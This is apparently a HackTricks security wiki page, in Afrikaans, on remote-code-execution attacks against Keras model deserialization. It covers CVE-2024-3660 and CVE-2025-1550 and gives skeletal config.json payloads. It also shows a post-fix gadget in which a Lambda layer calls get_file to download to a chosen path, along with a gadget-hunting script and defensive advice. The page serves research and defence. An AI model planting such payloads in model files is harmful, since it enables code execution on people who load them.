Keras Model Deserialization RCE en Gadget Jag
Reading time: 7 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Hierdie bladsy somariseer praktiese eksploitasiemetodes teen die Keras model deserialisering pyplyn, verduidelik die inwendige werking van die .keras formaat en aanvaloppervlak, en bied 'n navorsersgereedskapstel vir die vind van Model File Vulnerabilities (MFVs) en post-fix gadgets.
.keras model formaat inwendige werking
'n .keras lĂȘer is 'n ZIP-argief wat ten minste bevat:
- metadata.json â generiese inligting (bv. Keras weergawe)
- config.json â model argitektuur (primĂȘre aanvaloppervlak)
- model.weights.h5 â gewigte in HDF5
Die config.json dryf rekursiewe deserialisering: Keras importeer modules, los klasse/funksies op en herbou lae/objekte uit aanvaller-beheerde woordeboeke.
Voorbeeld snit vir 'n Dense lae objek:
{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}
Deserialisering voer uit:
- ModulĂȘre invoer en simboolresolusie vanaf module/class_name sleutels
- from_config(...) of konstruktorkalling met aanvaller-beheerde kwargs
- Rekursie in geneste objekte (aktiverings, inisialisators, beperkings, ens.)
Histories het dit drie primitiewe aan 'n aanvaller blootgestel wat config.json saamstel:
- Beheer oor watter modules ingevoer word
- Beheer oor watter klasse/funksies opgelos word
- Beheer oor kwargs wat in konstruktors/from_config oorgedra word
CVE-2024-3660 â Lambda-laag bytecode RCE
Wortel oorsaak:
- Lambda.from_config() het python_utils.func_load(...) gebruik wat base64-decode en marshal.loads() op aanvaller bytes aanroep; Python unmarshalling kan kode uitvoer.
Eksploitasie idee (vereenvoudigde payload in config.json):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}
Mitigering:
- Keras afdwing safe_mode=True standaard. Gekodeerde Python funksies in Lambda word geblokkeer tensy 'n gebruiker eksplisiet opt-out met safe_mode=False.
Notas:
- Erflike formate (ou HDF5 stoor) of ou kodebasisse mag nie moderne kontroles afdwing nie, so âdowngradeâ styl aanvalle kan steeds van toepassing wees wanneer slagoffers ou laders gebruik.
CVE-2025-1550 â Arbitraire module invoer in Keras †3.8
Oorsaak:
- _retrieve_class_or_fn het onbeperkte importlib.import_module() gebruik met aanvaller-beheerde module stringe van config.json.
- Impak: Arbitraire invoer van enige geĂŻnstalleerde module (of aanvaller-geplante module op sys.path). Invoer-tyd kode loop, dan vind objekkonstruksie plaas met aanvaller kwargs.
Eksploit idee:
{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}
Security improvements (Keras â„ 3.9):
- Module allowlist: imports beperk tot amptelike ekosisteem modules: keras, keras_hub, keras_cv, keras_nlp
- Safe mode default: safe_mode=True blokkeer onveilige Lambda geserialiseerde-funksie laai
- Basic type checking: gedeserialiseerde objekte moet ooreenstem met verwagte tipes
Post-fix gadget oppervlak binne allowlist
Selfs met allowlisting en safe mode, bly 'n breĂ« oppervlak oor onder toegelate Keras aanroepbare. Byvoorbeeld, keras.utils.get_file kan arbitrĂȘre URL's na gebruiker-keur plekke aflaai.
Gadget via Lambda wat 'n toegelate funksie verwys (nie geserialiseerde Python bytecode):
{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}
Belangrike beperking:
- Lambda.call() voeg die invoertensor as die eerste posisionele argument by wanneer die teiken aanroepbare aangeroep word. Gekoze gadgets moet 'n ekstra posisionele arg (of *args/**kwargs) kan hanteer. Dit beperk watter funksies lewensvatbaar is.
Potensiële impakte van toegelate gadgets:
- Arbitraire aflaai/skryf (padplanting, konfigurasie vergiftiging)
- Netwerk terugroepe/SSRF-agtige effekte afhangende van die omgewing
- Ketting na kode-uitvoering as geskryfde pades later ingevoer/uitgevoer word of by PYTHONPATH gevoeg word, of as 'n skryfbare uitvoering-op-skryf ligging bestaan
Navorsers gereedskap
- Sistematiese gadget ontdekking in toegelate modules
Tel kandidaat aanroepbares op oor keras, keras_nlp, keras_cv, keras_hub en prioritiseer diĂ© met lĂȘer/netwerk/proses/omgewing newe-effekte.
import importlib, inspect, pkgutil
ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"]
seen = set()
def iter_modules(mod):
if not hasattr(mod, "__path__"):
return
for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."):
yield m.name
candidates = []
for root in ALLOWLIST:
try:
r = importlib.import_module(root)
except Exception:
continue
for name in iter_modules(r):
if name in seen:
continue
seen.add(name)
try:
m = importlib.import_module(name)
except Exception:
continue
for n, obj in inspect.getmembers(m):
if inspect.isfunction(obj) or inspect.isclass(obj):
sig = None
try:
sig = str(inspect.signature(obj))
except Exception:
pass
doc = (inspect.getdoc(obj) or "").lower()
text = f"{name}.{n} {sig} :: {doc}"
# Heuristics: look for I/O or network-ish hints
if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]):
candidates.append(text)
print("\n".join(sorted(candidates)[:200]))
- Direkte deserialiseringstoetsing (geen .keras-argief benodig nie)
Voer vervaardigde dikte direk in Keras-deserialiseerders in om aanvaarbare parameters te leer en om effekte te observeer.
from keras import layers
cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}
layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior
- Cross-version probing en formate
Keras bestaan in verskeie kodebasisse/era met verskillende veiligheidsmaatreëls en formate:
- TensorFlow ingeboude Keras: tensorflow/python/keras (erfgoed, beplan vir verwydering)
- tf-keras: apart onderhou
- Multi-backend Keras 3 (amptelik): het inheemse .keras bekendgestel
Herhaal toetse oor kodebasisse en formate (.keras vs erfgoed HDF5) om regressies of ontbrekende veiligheidsmaatreëls te ontdek.
Verdedigende aanbevelings
- Behandel model lĂȘers as onbetroubare invoer. Laai slegs modelle van betroubare bronne.
- Hou Keras op datum; gebruik Keras â„ 3.9 om voordeel te trek uit toelaatlys en tipe kontroles.
- Moet nie safe_mode=False stel wanneer jy modelle laai nie, tensy jy die lĂȘer ten volle vertrou.
- Oorweeg om deserialisering in 'n sandboxed, minste-bevoorregte omgewing sonder netwerkuitgang en met beperkte lĂȘerstelsels toegang te laat plaasvind.
- Handhaaf toelaatlyste/handtekeninge vir modelbronne en integriteitskontrole waar moontlik.
Verwysings
- Hunting Vulnerabilities in Keras Model Deserialization (huntr blog)
- Keras PR #20751 â Added checks to serialization
- CVE-2024-3660 â Keras Lambda deserialization RCE
- CVE-2025-1550 â Keras arbitrary module import (†3.8)
- huntr report â arbitrary import #1
- huntr report â arbitrary import #2
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.